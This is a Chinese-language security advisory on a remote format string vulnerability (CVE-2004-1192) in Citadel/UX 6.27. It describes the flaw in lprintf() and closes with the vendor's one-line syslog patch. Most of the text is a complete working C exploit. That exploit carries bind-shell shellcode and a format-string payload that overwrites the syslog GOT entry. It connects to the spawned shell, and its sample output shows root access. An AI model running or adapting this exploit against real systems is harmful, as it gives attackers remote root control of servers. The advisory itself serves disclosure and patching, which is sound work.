安全研究

安全漏洞
Citadel/UX远程格式串漏洞

发布日期:2004-12-13
更新日期:2004-12-14

受影响系统:
Citadel/UX Citadel/UX 6.27
描述:
CVE(CAN) ID: CVE-2004-1192

Citadel/UX是一款开放源代码的BBS程序,使用在Linux、BSD、Solaris和其他Unix系统平台上,最近的Citadel/UX版本包含对Email的支持,可以通过POP3、IMAP、SMTP进行通信。

Citadel/UX的sysdep.c中的lprintf()函数存在格式串问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击或以进程权限执行任意指令。

问题存在于sysdep.c中的lprintf()函数中,当不正确参数传递给syslog()函数时可导致拒绝服务,精心构建提交数据可以以进程权限执行任意指令。其中问题代码如下:

---------- sysdep.c ----------
108: void lprintf(enum LogLevel loglevel, const char *format, ...) {
109:         va_list arg_ptr;
110:         char buf[SIZ];
111:
112:         va_start(arg_ptr, format);  
113:         vsnprintf(buf, sizeof(buf), format, arg_ptr);
114:         va_end(arg_ptr);
115:
116:         if (syslog_facility >= 0) {
117:                 if (loglevel <= verbosity) {
118:                         /* Hackery -IO */
119:                         if (CC && CC->cs_pid) {
120:                                 memmove(buf + 6, buf, sizeof(buf) - 6);
121:                                 snprintf(buf, 6, "[%3d]", CC->cs_pid);
122:                                 buf[5] = ' ';                        
123:                         }
124:                         syslog(loglevel, buf); // <-- the format bug
125:                 }
126:         }
---------- sysdep.c ----------

<*来源:CoKi (coki@nosystem.com.ar
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110295469430696&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

CoKi (coki@nosystem.com.ar)提供了如下测试方法:

/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
*        -h <arg>        host or IP
*        -t <arg>        type of target system
*        -l              targets list
*        -g <arg>        syslog GOT address
*        -r <arg>        RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host                       : localhost
* [*] system                     : Slackware Linux 10.0
* [*] syslog GOT address         : 0x0809e9e8
* [*] RET address                : 0xbfffd5fa
*
* [+] verifying host...          OK
* [+] conecting...               OK
* [+] building exploit...        OK
* [+] sending exploit...         OK
*
* [+] waiting for shell...
* [+] connecting to shell...     OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* Tested in Slackware 10.0
*    
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
    "\x31\xc0"            // xorl        %eax,%eax
    "\x50"                // pushl    %eax
    "\x40"                // incl        %eax
    "\x89\xc3"            // movl        %eax,%ebx
    "\x50"                // pushl    %eax
    "\x40"                // incl        %eax
    "\x50"                // pushl    %eax
    "\x89\xe1"            // movl        %esp,%ecx
    "\xb0\x66"            // movb        $0x66,%al
    "\xcd\x80"            // int        $0x80
    "\x31\xd2"            // xorl        %edx,%edx
    "\x52"                // pushl    %edx
    "\x66\x68\x13\xd2"        // pushw    $0xd213
    "\x43"                // incl        %ebx
    "\x66\x53"            // pushw    %bx
    "\x89\xe1"            // movl        %esp,%ecx
    "\x6a\x10"            // pushl    $0x10
    "\x51"                // pushl    %ecx
    "\x50"                // pushl    %eax
    "\x89\xe1"            // movl        %esp,%ecx
    "\xb0\x66"            // movb        $0x66,%al
    "\xcd\x80"            // int        $0x80
    "\x40"                // incl        %eax
    "\x89\x44\x24\x04"        // movl        %eax,0x4(%esp,1)
    "\x43"                // incl        %ebx
    "\x43"                // incl        %ebx
    "\xb0\x66"            // movb        $0x66,%al
    "\xcd\x80"            // int        $0x80
    "\x83\xc4\x0c"            // addl        $0xc,%esp
    "\x52"                // pushl    %edx
    "\x52"                // pushl    %edx
    "\x43"                // incl        %ebx
    "\xb0\x66"            // movb        $0x66,%al
    "\xcd\x80"            // int        $0x80
    "\x93"                // xchgl    %eax,%ebx
    "\x89\xd1"            // movl        %edx,%ecx
    "\xb0\x3f"            // movb        $0x3f,%al
    "\xcd\x80"            // int        $0x80
    "\x41"                // incl        %ecx
    "\x80\xf9\x03"            // cmpb        $0x3,%cl
    "\x75\xf6"            // jnz        <shellcode+0x40>
    "\x52"                // pushl    %edx
    "\x68\x6e\x2f\x73\x68"        // pushl    $0x68732f6e
    "\x68\x2f\x2f\x62\x69"        // pushl    $0x69622f2f
    "\x89\xe3"            // movl        %esp,%ebx
    "\x52"                // pushl    %edx
    "\x53"                // pushl    %ebx
    "\x89\xe1"            // movl        %esp,%ecx
    "\xb0\x0b"            // movb        $0xb,%al
    "\xcd\x80"            // int        $0x80
    ;

struct {
    char    *os;
    int    got;
    int    ret;
}targets[] =
    {"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};

int main(int argc, char *argv[]) {
    char buffer[BUFFERSIZE], temp[BUFFERSIZE];
    char opt, *host=NULL, *system=NULL, *p;
    int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
    unsigned int bal1, bal2, bal3, bal4;
    int cn1, cn2, cn3, cn4;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    printf("\n Citadel/UX v6.27 remote format string exploit\n");
    printf(" by CoKi <coki@nosystem.com.ar>\n\n");

    while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
        switch (opt) {
            case 'h':
                host = optarg;
                break;
            case 'g':
                gotaddr = strtoul(optarg,NULL,0);
                break;
            case 'r':
                retaddr = strtoul(optarg,NULL,0);
                break;
            case 't':
                targetnum = atoi(optarg);
                if(targetnum != 0) {
                    printf(" invalid target number!\n\n");
                    exit(0);
                }
                system = targets[targetnum].os;
                gotaddr = targets[targetnum].got;
                retaddr = targets[targetnum].ret;
                break;
            case 'l':
                printlist();
                break;
            default:
                use(argv[0]);
                break;
        }
    }

    if(host == NULL) use(argv[0]);
    if(gotaddr == 0 || retaddr == 0) use(argv[0]);
    if(system == NULL) system = "unknown";

    printf(" [*] host\t\t\t: %s\n", host);
    printf(" [*] system\t\t\t: %s\n", system);
    printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
    printf(" [*] RET address\t\t: %010p\n\n", retaddr);
    
    printf(" [+] verifying host...\t\t");
    fflush(stdout);

    if((he=gethostbyname(host)) == NULL) {
        herror("Error");
        printf("\n");
        exit(1);
    }
    
    printf("OK\n");

    if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
        perror("Error");
        printf("\n");
        exit(1);
    }

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(PORT);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    printf(" [+] conecting...\t\t");
    fflush(stdout);
    
    if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
        sizeof(struct sockaddr), TIMEOUT) == ERROR) {
        
        printf("Closed\n\n");
        exit(1);
    }

    printf("OK\n");
    
    printf(" [+] building evil buffer...\t");
    fflush(stdout);

    bzero(buffer, sizeof(buffer));
    strcat(buffer, "x");

    for(i = 0; i < 4; i++) {
        bzero(temp, sizeof(temp));
        sprintf(temp, "%s", &gotaddr);
        strncat(buffer, temp, 4);
        gotaddr++;
    }

    bal1 = (retaddr & 0xff000000) >> 24;
    bal2 = (retaddr & 0x00ff0000) >> 16;
    bal3 = (retaddr & 0x0000ff00) >>  8;
    bal4 = (retaddr & 0x000000ff);
  
    cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
    cn1 = check(cn1);
    cn2 = bal3 - bal4;
    cn2 = check(cn2);
    cn3 = bal2 - bal3;
    cn3 = check(cn3);
    cn4 = bal1 - bal2;
    cn4 = check(cn4);

    p = buffer;
    p += 17;

    memset(p, '\x90', 50);

    strcat(buffer, shellcode);

    sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n", cn1, cn2, cn3, cn4);
                
    strcat(buffer, temp);
    bzero(temp, sizeof(temp));

    printf("OK\n");

    printf(" [+] sending evil buffer...\t");
    fflush(stdout);
    
    recv(sockfd, temp, sizeof(temp), 0);
    send(sockfd, buffer, strlen(buffer), 0);
    send(sockfd, "\n", 1, 0);
    close(sockfd);
    
    printf("OK\n\n");

    printf(" [+] waiting for shell...\n");
    fflush(stdout);
    sleep(2);

    shell(host, SHELL);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
    socklen_t addrlen, int timeout) {

    int res, slen, flags;
    struct timeval tv;
    struct sockaddr_in addr;
    fd_set rdf, wrf;

    fcntl(sfd, F_SETFL, O_NONBLOCK);

    res = connect(sfd, serv_addr, addrlen);

    if (res >= 0) return res;

    FD_ZERO(&rdf);
    FD_ZERO(&wrf);

    FD_SET(sfd, &rdf);
    FD_SET(sfd, &wrf);
    bzero(&tv, sizeof(tv));
    tv.tv_sec = timeout;

    if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
        return -1;

    if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
        slen = sizeof(addr);
        if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
            return -1;

        flags = fcntl(sfd, F_GETFL, NULL);
        fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

        return 0;
    }

    return -1;
}

int check(unsigned long addr) {
    char tmp[128];
    snprintf(tmp, sizeof(tmp), "%d", addr);
    if(atoi(tmp) < 1)
        addr = addr + 256;
  
    return addr;
}

void use(char *program) {
    printf(" Use: %s -h <host> [options]\n", program);
    printf("\n options:\n");
    printf("    -h <arg>    host or IP\n");
    printf("    -t <arg>    type of target system\n");
    printf("    -l         targets list\n");
    printf("    -g <arg>    syslog GOT address\n");
    printf("    -r <arg>    RET address\n\n");
    exit(1);
}

void printlist(void) {
    printf(" targets\n");
    printf(" -------\n\n");
    printf(" [0] %s\n\n", targets[0].os);
    exit(0);
}

void shell(char *host, int port) {
    int sockfd, n;
    char buff[BUFFERSIZE];
    fd_set readfs;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    printf(" [+] connecting to shell...\t");
    fflush(stdout);

    if((he=gethostbyname(host)) == NULL) {
        herror("Error");
        printf("\n");
        exit(1);
    }

    if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
        perror("Error");
        printf("\n");
        exit(1);
    }

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(port);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
        sizeof(struct sockaddr), TIMEOUT) == ERROR) {
        
        printf("Closed\n\n");
        printf(" [-] failed! perhaps the target has down...\n\n");
        exit(1);
    }

    printf("OK\n\n");

    printf(" [!] you have a shell :)\n\n");
    fflush(stdout);

    send(sockfd, "uname -a; id;\n", 14, 0);

    while(1) {
        FD_ZERO(&readfs);
        FD_SET(0, &readfs);
        FD_SET(sockfd, &readfs);
        if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
        if(FD_ISSET(0,&readfs)) {
            if((n = read(0,buff,sizeof(buff))) < 1)
            exit(0);
            if(send(sockfd, buff, n, 0) != n) exit(0);
        }
        if(FD_ISSET(sockfd,&readfs)) {
            if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
            write(1, buff, n);
        }
    }
}

建议:
厂商补丁:

Citadel/UX
----------
补丁下载:

--- sysdep.c    2004-11-03 17:19:00.000000000 -0300
+++ sysdep.c    2004-12-12 13:14:12.000000000 -0300
@@ -121,7 +121,7 @@
                                snprintf(buf, 6, "[%3d]", CC->cs_pid);
                                buf[5] = ' ';
                        }
-                       syslog(loglevel, buf);
+                       syslog(loglevel, "%s", buf);
                }
        }
        else if (loglevel <= verbosity) {

浏览次数:3012
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障